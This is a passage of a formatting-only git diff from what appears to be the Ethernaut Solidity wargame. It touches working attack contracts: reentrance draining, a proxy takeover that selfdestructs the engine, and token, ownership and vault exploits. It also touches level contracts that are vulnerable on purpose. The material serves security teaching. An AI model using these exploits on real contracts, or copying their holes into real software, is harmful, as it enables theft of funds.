public pure returns (bytes32) { - return bytes4(uint32(42)); - } + function whatIsTheMeaningOfLife() public pure returns (bytes32) { + return bytes4(uint32(42)); + } } diff --git a/contracts/src/attacks/MagicNumSolver.sol b/contracts/src/attacks/MagicNumSolver.sol index e6c661132..a75fceefd 100644 --- a/contracts/src/attacks/MagicNumSolver.sol +++ b/contracts/src/attacks/MagicNumSolver.sol @@ -3,23 +3,22 @@ pragma solidity ^0.8.0; contract MagicNumSolver { - constructor() { - assembly { + constructor() { + assembly { + // This is the bytecode we want the program to have: + // 00 PUSH1 2a /* push dec 42 (hex 0x2a) onto the stack */ + // 03 PUSH1 0 /* store 42 at memory position 0 */ + // 05 MSTORE + // 06 PUSH1 20 /* return 32 bytes in memory */ + // 08 PUSH1 0 + // 10 RETURN + // Bytecode: 0x602a60005260206000f3 (length 0x0a or 10) + // Bytecode within a 32 byte word: + // 0x00000000000000000000000000000000000000000000604260005260206000f3 (length 0x20 or 32) + // ^ (offset 0x16 or 22) - // This is the bytecode we want the program to have: - // 00 PUSH1 2a /* push dec 42 (hex 0x2a) onto the stack */ - // 03 PUSH1 0 /* store 42 at memory position 0 */ - // 05 MSTORE - // 06 PUSH1 20 /* return 32 bytes in memory */ - // 08 PUSH1 0 - // 10 RETURN - // Bytecode: 0x602a60005260206000f3 (length 0x0a or 10) - // Bytecode within a 32 byte word: - // 0x00000000000000000000000000000000000000000000604260005260206000f3 (length 0x20 or 32) - // ^ (offset 0x16 or 22) - - mstore(0, 0x602a60005260206000f3) - return(0x16, 0x0a) + mstore(0, 0x602a60005260206000f3) + return(0x16, 0x0a) + } } - } } diff --git a/contracts/src/attacks/Manufactured.sol b/contracts/src/attacks/Manufactured.sol index 094632b70..f23d1a7a9 100644 --- a/contracts/src/attacks/Manufactured.sol +++ b/contracts/src/attacks/Manufactured.sol @@ -2,8 +2,6 @@ pragma solidity ^0.8.0; -import 'openzeppelin-contracts-08/access/Ownable.sol'; +import "openzeppelin-contracts-08/access/Ownable.sol"; -contract Manufactured is Ownable { - -} +contract Manufactured is Ownable {} diff --git a/contracts/src/attacks/MotorbikeAttack.sol b/contracts/src/attacks/MotorbikeAttack.sol index 035c5feec..200ee7882 100644 --- a/contracts/src/attacks/MotorbikeAttack.sol +++ b/contracts/src/attacks/MotorbikeAttack.sol @@ -5,43 +5,39 @@ pragma solidity <0.7.0; import "openzeppelin-contracts-06/utils/Address.sol"; contract MotorbikeAttack { - // Address of current implementation (The Engine) address public implementation; + event Check(bool result); constructor(address impl) public { implementation = impl; } - function takeControl() external returns(bytes memory) { + function takeControl() external returns (bytes memory) { // take control over the Engine Address.functionCall(implementation, abi.encodeWithSignature("initialize()")); } - + function destroy() external { // Upgrade the engine to a contract that selfdestruct once initialized Exploit exploit = new Exploit(); Address.functionCall( - implementation, - abi.encodeWithSignature( - "upgradeToAndCall(address,bytes)", - address(exploit), - abi.encodeWithSignature("initialize()") - ) + implementation, + abi.encodeWithSignature( + "upgradeToAndCall(address,bytes)", address(exploit), abi.encodeWithSignature("initialize()") + ) ); } function validateItIsBroken() external { emit Check(Address.isContract(implementation)); } - } contract Exploit { - function initialize() external { selfdestruct(msg.sender); } -} \ No newline at end of file +} diff --git a/contracts/src/attacks/NaughtCoinAttack.sol b/contracts/src/attacks/NaughtCoinAttack.sol index 94775f161..5b92587bd 100644 --- a/contracts/src/attacks/NaughtCoinAttack.sol +++ b/contracts/src/attacks/NaughtCoinAttack.sol @@ -2,12 +2,11 @@ pragma solidity ^0.8.0; -import '../levels/NaughtCoin.sol'; +import "../levels/NaughtCoin.sol"; contract NaughtCoinAttack { - - function attack(address _target, address _player) public { - NaughtCoin naughtCoin = NaughtCoin(_target); - naughtCoin.transferFrom(_player, address(this), naughtCoin.balanceOf(_player)); - } -} \ No newline at end of file + function attack(address _target, address _player) public { + NaughtCoin naughtCoin = NaughtCoin(_target); + naughtCoin.transferFrom(_player, address(this), naughtCoin.balanceOf(_player)); + } +} diff --git a/contracts/src/attacks/PreservationAttack.sol b/contracts/src/attacks/PreservationAttack.sol index bb5c5d0e6..669fff52c 100644 --- a/contracts/src/attacks/PreservationAttack.sol +++ b/contracts/src/attacks/PreservationAttack.sol @@ -3,13 +3,12 @@ pragma solidity ^0.8.0; contract PreservationAttack { - - address slot0; - address slot1; - address ownerSlot; - - function setTime(uint256 addressAsUint) public { - // Sets the owner - ownerSlot = address(uint160(addressAsUint)); - } + address slot0; + address slot1; + address ownerSlot; + + function setTime(uint256 addressAsUint) public { + // Sets the owner + ownerSlot = address(uint160(addressAsUint)); + } } diff --git a/contracts/src/attacks/ReentranceAttack.sol b/contracts/src/attacks/ReentranceAttack.sol index 0457b7389..32877d5b4 100644 --- a/contracts/src/attacks/ReentranceAttack.sol +++ b/contracts/src/attacks/ReentranceAttack.sol @@ -2,26 +2,25 @@ pragma solidity ^0.6.12; -import '../levels/Reentrance.sol'; +import "../levels/Reentrance.sol"; contract ReentranceAttack { + Reentrance target; - Reentrance target; + constructor(address payable _target) public payable { + target = Reentrance(_target); + } - constructor(address payable _target) public payable { - target = Reentrance(_target); - } + function attack_1_causeOverflow() public { + target.donate{value: 1}(address(this)); + target.withdraw(1); + } - function attack_1_causeOverflow() public { - target.donate{value:1}(address(this)); - target.withdraw(1); - } + function attack_2_deplete() public { + target.withdraw(address(target).balance); + } - function attack_2_deplete() public { - target.withdraw(address(target).balance); - } - - receive() external payable { - target.withdraw(1); - } + receive() external payable { + target.withdraw(1); + } } diff --git a/contracts/src/attacks/ShopAttack.sol b/contracts/src/attacks/ShopAttack.sol index a7558e7b7..585db8831 100644 --- a/contracts/src/attacks/ShopAttack.sol +++ b/contracts/src/attacks/ShopAttack.sol @@ -2,15 +2,14 @@ pragma solidity ^0.8.0; -import '../levels/Shop.sol'; +import "../levels/Shop.sol"; contract ShopAttack { + function price() external view returns (uint256) { + return Shop(msg.sender).isSold() ? 1 : 100; + } - function price() external view returns (uint) { - return Shop(msg.sender).isSold() ? 1 : 100; - } - - function attack(Shop _victim) external { - Shop(_victim).buy(); - } + function attack(Shop _victim) external { + Shop(_victim).buy(); + } } diff --git a/contracts/src/attacks/TelephoneAttack.sol b/contracts/src/attacks/TelephoneAttack.sol index 999e12185..03cc9fd3b 100644 --- a/contracts/src/attacks/TelephoneAttack.sol +++ b/contracts/src/attacks/TelephoneAttack.sol @@ -2,12 +2,11 @@ pragma solidity ^0.8.0; -import '../levels/Telephone.sol'; +import "../levels/Telephone.sol"; contract TelephoneAttack { - - function attack(address _victim, address _owner) public { - Telephone telephone = Telephone(_victim); - telephone.changeOwner(_owner); - } -} \ No newline at end of file + function attack(address _victim, address _owner) public { + Telephone telephone = Telephone(_victim); + telephone.changeOwner(_owner); + } +} diff --git a/contracts/src/attacks/VaultAttack.sol b/contracts/src/attacks/VaultAttack.sol index 6d0bb6bdf..5a7d8f60f 100644 --- a/contracts/src/attacks/VaultAttack.sol +++ b/contracts/src/attacks/VaultAttack.sol @@ -2,11 +2,11 @@ pragma solidity ^0.8.0; -import '../levels/Vault.sol'; +import "../levels/Vault.sol"; contract VaultAttack { - function attack(address _target, bytes32 _password) public { - Vault vault = Vault(_target); - vault.unlock(_password); - } + function attack(address _target, bytes32 _password) public { + Vault vault = Vault(_target); + vault.unlock(_password); + } } diff --git a/contracts/src/factory/LocalFactory.sol b/contracts/src/factory/LocalFactory.sol index 7f9f81601..819f1d1b3 100644 --- a/contracts/src/factory/LocalFactory.sol +++ b/contracts/src/factory/LocalFactory.sol @@ -1,6 +1,7 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // import all the abi's required to deploy + import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol"; import {Ethernaut} from "../Ethernaut.sol"; import {Statistics} from "../metrics/Statistics.sol"; @@ -20,11 +21,7 @@ contract Factory is Ownable { ethernaut = new Ethernaut(); proxyAdmin = new ProxyAdmin(); implementation = new Statistics(); - proxyStats = new ProxyStats( - address(implementation), - address(proxyAdmin), - address(ethernaut) - ); + proxyStats = new ProxyStats(address(implementation), address(proxyAdmin), address(ethernaut)); // initialise the ethernaut contract with the proxystats method ethernaut.setStatistics(address(proxyStats)); // here is where statistics seats behind the proxy diff --git a/contracts/src/helpers/Ownable-05.sol b/contracts/src/helpers/Ownable-05.sol index e23e26ea7..7dbc4742d 100644 --- a/contracts/src/helpers/Ownable-05.sol +++ b/contracts/src/helpers/Ownable-05.sol @@ -17,7 +17,7 @@ contract Ownable { /** * @dev Initializes the contract setting the deployer as the initial owner. */ - constructor () internal { + constructor() internal { _owner = msg.sender; } @@ -71,4 +71,4 @@ contract Ownable { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } -} \ No newline at end of file +} diff --git a/contracts/src/helpers/UpgradeableProxy-08.sol b/contracts/src/helpers/UpgradeableProxy-08.sol index ab46fc990..8271bed0f 100644 --- a/contracts/src/helpers/UpgradeableProxy-08.sol +++ b/contracts/src/helpers/UpgradeableProxy-08.sol @@ -6,26 +6,26 @@ import "openzeppelin-contracts-08/proxy/Proxy.sol"; import "openzeppelin-contracts-08/utils/Address.sol"; /** - * + * * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. - * + * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. - * + * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); - if(_data.length > 0) { + if (_data.length > 0) { // solhint-disable-next-line avoid-low-level-calls (bool success,) = _logic.delegatecall(_data); require(success); @@ -47,7 +47,7 @@ contract UpgradeableProxy is Proxy { /** * @dev Returns the current implementation address. */ - function _implementation() internal override view returns (address impl) { + function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { @@ -57,7 +57,7 @@ contract UpgradeableProxy is Proxy { /** * @dev Upgrades the proxy to a new implementation. - * + * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { diff --git a/contracts/src/levels/AlienCodex.sol b/contracts/src/levels/AlienCodex.sol index 0f38947fa..721cc3f8e 100644 --- a/contracts/src/levels/AlienCodex.sol +++ b/contracts/src/levels/AlienCodex.sol @@ -1,31 +1,30 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; -import '../helpers/Ownable-05.sol'; +import "../helpers/Ownable-05.sol"; contract AlienCodex is Ownable { + bool public contact; + bytes32[] public codex; - bool public contact; - bytes32[] public codex; + modifier contacted() { + assert(contact); + _; + } - modifier contacted() { - assert(contact); - _; - } - - function makeContact() public { - contact = true; - } + function makeContact() public { + contact = true; + } - function record(bytes32 _content) contacted public { - codex.push(_content); - } + function record(bytes32 _content) public contacted { + codex.push(_content); + } - function retract() contacted public { - codex.length--; - } + function retract() public contacted { + codex.length--; + } - function revise(uint i, bytes32 _content) contacted public { - codex[i] = _content; - } + function revise(uint256 i, bytes32 _content) public contacted { + codex[i] = _content; + } } diff --git a/contracts/src/levels/AlienCodexFactory.sol b/contracts/src/levels/AlienCodexFactory.sol index e427a7145..ca085d90a 100644 --- a/contracts/src/levels/AlienCodexFactory.sol +++ b/contracts/src/levels/AlienCodexFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.5.0; -import './base/Level-05.sol'; -import './AlienCodex.sol'; +import "./base/Level-05.sol"; +import "./AlienCodex.sol"; contract AlienCodexFactory is Level { + function createInstance(address _player) public payable returns (address) { + _player; + return address(new AlienCodex()); + } - function createInstance(address _player) public payable returns (address) { - _player; - return address(new AlienCodex()); - } - - function validateInstance(address payable _instance, address _player) public returns (bool) { - // _player; - AlienCodex instance = AlienCodex(_instance); - return instance.owner() ==_player; - } + function validateInstance(address payable _instance, address _player) public returns (bool) { + // _player; + AlienCodex instance = AlienCodex(_instance); + return instance.owner() == _player; + } } diff --git a/contracts/src/levels/CoinFlip.sol b/contracts/src/levels/CoinFlip.sol index 342a2d5bd..f745c6447 100644 --- a/contracts/src/levels/CoinFlip.sol +++ b/contracts/src/levels/CoinFlip.sol @@ -2,32 +2,31 @@ pragma solidity ^0.8.0; contract CoinFlip { + uint256 public consecutiveWins; + uint256 lastHash; + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; - uint256 public consecutiveWins; - uint256 lastHash; - uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; - - constructor() { - consecutiveWins = 0; - } + constructor() { + consecutiveWins = 0; + } - function flip(bool _guess) public returns (bool) { - uint256 blockValue = uint256(blockhash(block.number - 1)); + function flip(bool _guess) public returns (bool) { + uint256 blockValue = uint256(blockhash(block.number - 1)); - if (lastHash == blockValue) { - revert(); - } + if (lastHash == blockValue) { + revert(); + } - lastHash = blockValue; - uint256 coinFlip = blockValue / FACTOR; - bool side = coinFlip == 1 ? true : false; + lastHash = blockValue; + uint256 coinFlip = blockValue / FACTOR; + bool side = coinFlip == 1 ? true : false; - if (side == _guess) { - consecutiveWins++; - return true; - } else { - consecutiveWins = 0; - return false; + if (side == _guess) { + consecutiveWins++; + return true; + } else { + consecutiveWins = 0; + return false; + } } - } } diff --git a/contracts/src/levels/CoinFlipFactory.sol b/contracts/src/levels/CoinFlipFactory.sol index e6593daa7..7eb0df30e 100644 --- a/contracts/src/levels/CoinFlipFactory.sol +++ b/contracts/src/levels/CoinFlipFactory.sol @@ -2,18 +2,17 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './CoinFlip.sol'; +import "./base/Level.sol"; +import "./CoinFlip.sol"; contract CoinFlipFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new CoinFlip()); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new CoinFlip()); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - CoinFlip instance = CoinFlip(_instance); - return instance.consecutiveWins() >= 10; - } + function validateInstance(address payable _instance, address) public view override returns (bool) { + CoinFlip instance = CoinFlip(_instance); + return instance.consecutiveWins() >= 10; + } } diff --git a/contracts/src/levels/Delegation.sol b/contracts/src/levels/Delegation.sol index 3d9f26f82..66094f2af 100644 --- a/contracts/src/levels/Delegation.sol +++ b/contracts/src/levels/Delegation.sol @@ -2,32 +2,30 @@ pragma solidity ^0.8.0; contract Delegate { + address public owner; - address public owner; - - constructor(address _owner) { - owner = _owner; - } + constructor(address _owner) { + owner = _owner; + } - function pwn() public { - owner = msg.sender; - } + function pwn() public { + owner = msg.sender; + } } contract Delegation { + address public owner; + Delegate delegate; - address public owner; - Delegate delegate; - - constructor(address _delegateAddress) { - delegate = Delegate(_delegateAddress); - owner = msg.sender; - } + constructor(address _delegateAddress) { + delegate = Delegate(_delegateAddress); + owner = msg.sender; + } - fallback() external { - (bool result,) = address(delegate).delegatecall(msg.data); - if (result) { - this; + fallback() external { + (bool result,) = address(delegate).delegatecall(msg.data); + if (result) { + this; + } } - } } diff --git a/contracts/src/levels/DelegationFactory.sol b/contracts/src/levels/DelegationFactory.sol index 545f073c7..1d70b72f9 100644 --- a/contracts/src/levels/DelegationFactory.sol +++ b/contracts/src/levels/DelegationFactory.sol @@ -2,26 +2,25 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Delegation.sol'; +import "./base/Level.sol"; +import "./Delegation.sol"; contract DelegationFactory is Level { + address delegateAddress; - address delegateAddress; + constructor() { + Delegate newDelegate = new Delegate(address(0)); + delegateAddress = address(newDelegate); + } - constructor() { - Delegate newDelegate = new Delegate(address(0)); - delegateAddress = address(newDelegate); - } + function createInstance(address _player) public payable override returns (address) { + _player; + Delegation parity = new Delegation(delegateAddress); + return address(parity); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Delegation parity = new Delegation(delegateAddress); - return address(parity); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - Delegation parity = Delegation(_instance); - return parity.owner() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Delegation parity = Delegation(_instance); + return parity.owner() == _player; + } } diff --git a/contracts/src/levels/Denial.sol b/contracts/src/levels/Denial.sol index 75c32ec04..28c5527d5 100644 --- a/contracts/src/levels/Denial.sol +++ b/contracts/src/levels/Denial.sol @@ -1,11 +1,11 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -contract Denial { +contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); - uint timeLastWithdrawn; - mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances + uint256 timeLastWithdrawn; + mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; @@ -13,21 +13,21 @@ contract Denial { // withdraw 1% to recipient and 1% to owner function withdraw() public { - uint amountToSend = address(this).balance / 100; + uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share - partner.call{value:amountToSend}(""); + partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; - withdrawPartnerBalances[partner] += amountToSend; + withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function - function contractBalance() public view returns (uint) { + function contractBalance() public view returns (uint256) { return address(this).balance; } } diff --git a/contracts/src/levels/DenialFactory.sol b/contracts/src/levels/DenialFactory.sol index 636624f45..7a8dac2bb 100644 --- a/contracts/src/levels/DenialFactory.sol +++ b/contracts/src/levels/DenialFactory.sol @@ -2,33 +2,32 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Denial.sol'; +import "./base/Level.sol"; +import "./Denial.sol"; contract DenialFactory is Level { - - uint public initialDeposit = 0.001 ether; - - function createInstance(address _player) override public payable returns (address) { - _player; - require(msg.value >= initialDeposit); - Denial instance = new Denial(); - (bool result,) = address(instance).call{value:msg.value}(""); - require(result); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public returns (bool) { - _player; - Denial instance = Denial(_instance); - if (address(instance).balance <= 100 wei) { // cheating otherwise - return false; + uint256 public initialDeposit = 0.001 ether; + + function createInstance(address _player) public payable override returns (address) { + _player; + require(msg.value >= initialDeposit); + Denial instance = new Denial(); + (bool result,) = address(instance).call{value: msg.value}(""); + require(result); + return address(instance); } - // fix the gas limit for this call - (bool result,) = address(instance).call{gas:1000000}(abi.encodeWithSignature("withdraw()")); // Must revert - return !result; - } - receive() external payable {} + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + Denial instance = Denial(_instance); + if (address(instance).balance <= 100 wei) { + // cheating otherwise + return false; + } + // fix the gas limit for this call + (bool result,) = address(instance).call{gas: 1000000}(abi.encodeWithSignature("withdraw()")); // Must revert + return !result; + } + receive() external payable {} } diff --git a/contracts/src/levels/Dex.sol b/contracts/src/levels/Dex.sol index 8305e75c3..b52fd7b51 100644 --- a/contracts/src/levels/Dex.sol +++ b/contracts/src/levels/Dex.sol @@ -3,54 +3,58 @@ pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; -import 'openzeppelin-contracts-08/access/Ownable.sol'; +import "openzeppelin-contracts-08/access/Ownable.sol"; contract Dex is Ownable { - address public token1; - address public token2; - constructor() {} - - function setTokens(address _token1, address _token2) public onlyOwner { - token1 = _token1; - token2 = _token2; - } - - function addLiquidity(address token_address, uint amount) public onlyOwner { - IERC20(token_address).transferFrom(msg.sender, address(this), amount); - } - - function swap(address from, address to, uint amount) public { - require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); - require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); - uint swapAmount = getSwapPrice(from, to, amount); - IERC20(from).transferFrom(msg.sender, address(this), amount); - IERC20(to).approve(address(this), swapAmount); - IERC20(to).transferFrom(address(this), msg.sender, swapAmount); - } - - function getSwapPrice(address from, address to, uint amount) public view returns(uint){ - return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); - } - - function approve(address spender, uint amount) public { - SwappableToken(token1).approve(msg.sender, spender, amount); - SwappableToken(token2).approve(msg.sender, spender, amount); - } - - function balanceOf(address token, address account) public view returns (uint){ - return IERC20(token).balanceOf(account); - } + address public token1; + address public token2; + + constructor() {} + + function setTokens(address _token1, address _token2) public onlyOwner { + token1 = _token1; + token2 = _token2; + } + + function addLiquidity(address token_address, uint256 amount) public onlyOwner { + IERC20(token_address).transferFrom(msg.sender, address(this), amount); + } + + function swap(address from, address to, uint256 amount) public { + require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); + require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); + uint256 swapAmount = getSwapPrice(from, to, amount); + IERC20(from).transferFrom(msg.sender, address(this), amount); + IERC20(to).approve(address(this), swapAmount); + IERC20(to).transferFrom(address(this), msg.sender, swapAmount); + } + + function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { + return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); + } + + function approve(address spender, uint256 amount) public { + SwappableToken(token1).approve(msg.sender, spender, amount); + SwappableToken(token2).approve(msg.sender, spender, amount); + } + + function balanceOf(address token, address account) public view returns (uint256) { + return IERC20(token).balanceOf(account); + } } contract SwappableToken is ERC20 { - address private _dex; - constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { + address private _dex; + + constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) + ERC20(name, symbol) + { _mint(msg.sender, initialSupply); _dex = dexInstance; - } + } - function approve(address owner, address spender, uint256 amount) public { - require(owner != _dex, "InvalidApprover"); - super._approve(owner, spender, amount); - } + function approve(address owner, address spender, uint256 amount) public { + require(owner != _dex, "InvalidApprover"); + super._approve(owner, spender, amount); + } } diff --git a/contracts/src/levels/DexFactory.sol b/contracts/src/levels/DexFactory.sol index 5e5aa51d7..2e624b40d 100644 --- a/contracts/src/levels/DexFactory.sol +++ b/contracts/src/levels/DexFactory.sol @@ -2,40 +2,38 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Dex.sol'; +import "./base/Level.sol"; +import "./Dex.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; - contract DexFactory is Level { + function createInstance(address _player) public payable override returns (address) { + Dex instance = new Dex(); + address instanceAddress = address(instance); + + SwappableToken tokenInstance = new SwappableToken(instanceAddress, "Token 1", "TKN1", 110); + SwappableToken tokenInstanceTwo = new SwappableToken(instanceAddress, "Token 2", "TKN2", 110); + + address tokenInstanceAddress = address(tokenInstance); + address tokenInstanceTwoAddress = address(tokenInstanceTwo); + + instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); + + tokenInstance.approve(instanceAddress, 100); + tokenInstanceTwo.approve(instanceAddress, 100); + + instance.addLiquidity(tokenInstanceAddress, 100); + instance.addLiquidity(tokenInstanceTwoAddress, 100); + + tokenInstance.transfer(_player, 10); + tokenInstanceTwo.transfer(_player, 10); + + return instanceAddress; + } - function createInstance(address _player) override public payable returns (address) { - Dex instance = new Dex(); - address instanceAddress = address(instance); - - SwappableToken tokenInstance = new SwappableToken(instanceAddress, "Token 1", "TKN1", 110); - SwappableToken tokenInstanceTwo = new SwappableToken(instanceAddress, "Token 2", "TKN2", 110); - - address tokenInstanceAddress = address(tokenInstance); - address tokenInstanceTwoAddress = address(tokenInstanceTwo); - - instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); - - tokenInstance.approve(instanceAddress, 100); - tokenInstanceTwo.approve(instanceAddress, 100); - - instance.addLiquidity(tokenInstanceAddress, 100); - instance.addLiquidity(tokenInstanceTwoAddress, 100); - - tokenInstance.transfer(_player, 10); - tokenInstanceTwo.transfer(_player, 10); - - return instanceAddress; - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - address token1 = Dex(_instance).token1(); - address token2 = Dex(_instance).token2(); - return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0; - } + function validateInstance(address payable _instance, address) public view override returns (bool) { + address token1 = Dex(_instance).token1(); + address token2 = Dex(_instance).token2(); + return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0; + } } diff --git a/contracts/src/levels/DexTwo.sol b/contracts/src/levels/DexTwo.sol index 6c03da3c3..aeaf4c124 100644 --- a/contracts/src/levels/DexTwo.sol +++ b/contracts/src/levels/DexTwo.sol @@ -3,53 +3,57 @@ pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; -import 'openzeppelin-contracts-08/access/Ownable.sol'; +import "openzeppelin-contracts-08/access/Ownable.sol"; contract DexTwo is Ownable { - address public token1; - address public token2; - constructor() {} - - function setTokens(address _token1, address _token2) public onlyOwner { - token1 = _token1; - token2 = _token2; - } - - function add_liquidity(address token_address, uint amount) public onlyOwner { - IERC20(token_address).transferFrom(msg.sender, address(this), amount); - } - - function swap(address from, address to, uint amount) public { - require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); - uint swapAmount = getSwapAmount(from, to, amount); - IERC20(from).transferFrom(msg.sender, address(this), amount); - IERC20(to).approve(address(this), swapAmount); - IERC20(to).transferFrom(address(this), msg.sender, swapAmount); - } - - function getSwapAmount(address from, address to, uint amount) public view returns(uint){ - return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); - } - - function approve(address spender, uint amount) public { - SwappableTokenTwo(token1).approve(msg.sender, spender, amount); - SwappableTokenTwo(token2).approve(msg.sender, spender, amount); - } - - function balanceOf(address token, address account) public view returns (uint){ - return IERC20(token).balanceOf(account); - } + address public token1; + address public token2; + + constructor() {} + + function setTokens(address _token1, address _token2) public onlyOwner { + token1 = _token1; + token2 = _token2; + } + + function add_liquidity(address token_address, uint256 amount) public onlyOwner { + IERC20(token_address).transferFrom(msg.sender, address(this), amount); + } + + function swap(address from, address to, uint256 amount) public { + require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); + uint256 swapAmount = getSwapAmount(from, to, amount); + IERC20(from).transferFrom(msg.sender, address(this), amount); + IERC20(to).approve(address(this), swapAmount); + IERC20(to).transferFrom(address(this), msg.sender, swapAmount); + } + + function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) { + return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); + } + + function approve(address spender, uint256 amount) public { + SwappableTokenTwo(token1).approve(msg.sender, spender, amount); + SwappableTokenTwo(token2).approve(msg.sender, spender, amount); + } + + function balanceOf(address token, address account) public view returns (uint256) { + return IERC20(token).balanceOf(account); + } } contract SwappableTokenTwo is ERC20 { - address private _dex; - constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) { + address private _dex; + + constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) + ERC20(name, symbol) + { _mint(msg.sender, initialSupply); _dex = dexInstance; - } + } - function approve(address owner, address spender, uint256 amount) public { - require(owner != _dex, "InvalidApprover"); - super._approve(owner, spender, amount); - } + function approve(address owner, address spender, uint256 amount) public { + require(owner != _dex, "InvalidApprover"); + super._approve(owner, spender, amount); + } } diff --git a/contracts/src/levels/DexTwoFactory.sol b/contracts/src/levels/DexTwoFactory.sol index 3ec381a04..8376f5e15 100644 --- a/contracts/src/levels/DexTwoFactory.sol +++ b/contracts/src/levels/DexTwoFactory.sol @@ -2,40 +2,38 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './DexTwo.sol'; +import "./base/Level.sol"; +import "./DexTwo.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; - contract DexTwoFactory is Level { + function createInstance(address _player) public payable override returns (address) { + DexTwo instance = new DexTwo(); + address instanceAddress = address(instance); + + SwappableTokenTwo tokenInstance = new SwappableTokenTwo(instanceAddress, "Token 1", "TKN1", 110); + SwappableTokenTwo tokenInstanceTwo = new SwappableTokenTwo(instanceAddress, "Token 2", "TKN2", 110); - function createInstance(address _player) override public payable returns (address) { - DexTwo instance = new DexTwo(); - address instanceAddress = address(instance); + address tokenInstanceAddress = address(tokenInstance); + address tokenInstanceTwoAddress = address(tokenInstanceTwo); - SwappableTokenTwo tokenInstance = new SwappableTokenTwo(instanceAddress, "Token 1", "TKN1", 110); - SwappableTokenTwo tokenInstanceTwo = new SwappableTokenTwo(instanceAddress, "Token 2", "TKN2", 110); - - address tokenInstanceAddress = address(tokenInstance); - address tokenInstanceTwoAddress = address(tokenInstanceTwo); + instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); - instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); - - tokenInstance.approve(instanceAddress, 100); - tokenInstanceTwo.approve(instanceAddress, 100); + tokenInstance.approve(instanceAddress, 100); + tokenInstanceTwo.approve(instanceAddress, 100); - instance.add_liquidity(tokenInstanceAddress, 100); - instance.add_liquidity(tokenInstanceTwoAddress, 100); + instance.add_liquidity(tokenInstanceAddress, 100); + instance.add_liquidity(tokenInstanceTwoAddress, 100); - tokenInstance.transfer(_player, 10); - tokenInstanceTwo.transfer(_player, 10); + tokenInstance.transfer(_player, 10); + tokenInstanceTwo.transfer(_player, 10); - return instanceAddress; - } + return instanceAddress; + } - function validateInstance(address payable _instance, 